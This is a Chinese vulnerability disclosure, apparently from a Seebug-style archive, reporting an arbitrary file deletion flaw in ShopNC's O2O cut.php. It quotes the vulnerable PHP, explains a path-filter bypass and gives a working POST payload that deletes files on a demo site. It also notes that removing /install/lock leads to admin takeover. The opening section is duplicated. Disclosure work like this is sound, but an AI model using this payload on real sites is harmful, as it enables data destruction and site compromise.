### 简要描述: 齐博齐博快确认,确认了我再送个0day~ shopNC的任意文件删除挺多的,我拿O2O系统来说明问题吧。 ### 详细说明: /circle/control/cut.php 46行 ``` /** * 图片裁剪 * */ public function pic_cutOp(){ import('function.thumb'); if (chksubmit()){ $thumb_width = $_POST['x']; $x1 = $_POST["x1"]; $y1 = $_POST["y1"]; $x2 = $_POST["x2"]; $y2 = $_POST["y2"]; $w = $_POST["w"]; $h = $_POST["h"]; $scale = $thumb_width/$w; $src = str_ireplace(UPLOAD_SITE_URL,BASE_UPLOAD_PATH,$_POST['url']); if (!empty($_POST['filename'])){ $save_file2 = BASE_UPLOAD_PATH.'/'.$_POST['filename']; }else{ $save_file2 = str_replace('_small.','_sm.',$src); } $cropped = resize_thumb($save_file2, $src,$w,$h,$x1,$y1,$scale); @unlink($src); $pathinfo = pathinfo($save_file2); exit($pathinfo['basename']); } $save_file = str_ireplace(UPLOAD_SITE_URL,BASE_UPLOAD_PATH,$_GET['url']); $_GET['x'] = (intval($_GET['x'])>50 && $_GET['x']<400) ? $_GET['x'] : 200; $_GET['y'] = (intval($_GET['y'])>50 && $_GET['y']<400) ? $_GET['y'] : 200; $_GET['resize'] = $_GET['resize'] == '0' ? '0'...
### 简要描述: 齐博齐博快确认,确认了我再送个0day~ shopNC的任意文件删除挺多的,我拿O2O系统来说明问题吧。 ### 详细说明: /circle/control/cut.php 46行 ``` /** * 图片裁剪 * */ public function pic_cutOp(){ import('function.thumb'); if (chksubmit()){ $thumb_width = $_POST['x']; $x1 = $_POST["x1"]; $y1 = $_POST["y1"]; $x2 = $_POST["x2"]; $y2 = $_POST["y2"]; $w = $_POST["w"]; $h = $_POST["h"]; $scale = $thumb_width/$w; $src = str_ireplace(UPLOAD_SITE_URL,BASE_UPLOAD_PATH,$_POST['url']); if (!empty($_POST['filename'])){ $save_file2 = BASE_UPLOAD_PATH.'/'.$_POST['filename']; }else{ $save_file2 = str_replace('_small.','_sm.',$src); } $cropped = resize_thumb($save_file2, $src,$w,$h,$x1,$y1,$scale); @unlink($src); $pathinfo = pathinfo($save_file2); exit($pathinfo['basename']); } $save_file = str_ireplace(UPLOAD_SITE_URL,BASE_UPLOAD_PATH,$_GET['url']); $_GET['x'] = (intval($_GET['x'])>50 && $_GET['x']<400) ? $_GET['x'] : 200; $_GET['y'] = (intval($_GET['y'])>50 && $_GET['y']<400) ? $_GET['y'] : 200; $_GET['resize'] = $_GET['resize'] == '0' ? '0' : '1'; Tpl::output('height',get_height($save_file)); Tpl::output('width',get_width($save_file)); Tpl::showpage('cut','null_layout'); } ``` 如上,获取了$_POST['url']并传入unlink函数,导致任意文件删除漏洞。 我看了其他几处unlink,发现都有str_replace('..','',$src);,而这一处没有。我还顺便提供一个str_replace('..','',$src);的绕过方法吧,因为这里的删除代码是unlink($src);,$src如果是绝对路径的话,不需要..做跳转,所以也就能绕过这个str_replace。不过得先知道网站绝对路径才好(不过有个位置确实能爆绝对路径,不用开启php报错),这里不提,单说/circle/control/cut.php的任意文件删除。 官方测试站:http://www.o2olive.net/demo 为了测试而且不破坏网站,我注册一个用户,上传一个头像,并删除之,来演示文件删除漏洞。 [<img src="https://images.seebug.org/upload/201410/23122648c20218311949394d7ac04b18cb7bac9d.jpg" alt="005.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/23122648c20218311949394d7ac04b18cb7bac9d.jpg) 上传头像,地址为 http://www.o2olive.net/demo/datahttps://images.seebug.org/upload/shop/member/avatar_375.jpg 发送如下数据包删除之: http://www.o2olive.net/demo/circle/index.php?act=cut&op=pic_cut POST:form_submit=ok&url=../datahttps://images.seebug.org/upload/shop/member/avatar_375.jpg&w=1 [<img src="https://images.seebug.org/upload/201410/231227242d5cf78422f99aa92a4a2675159df67e.jpg" alt="006.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/231227242d5cf78422f99aa92a4a2675159df67e.jpg) 再看发现已经404了: [<img src="https://images.seebug.org/upload/201410/23122748f33723812d9b30d939def333381b2323.jpg" alt="007.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/23122748f33723812d9b30d939def333381b2323.jpg) 通过任意文件删除漏洞,可以删除/install/lock文件,导致系统重装,获得管理员权限,并进一步提权。 ### 漏洞证明: 见详细说明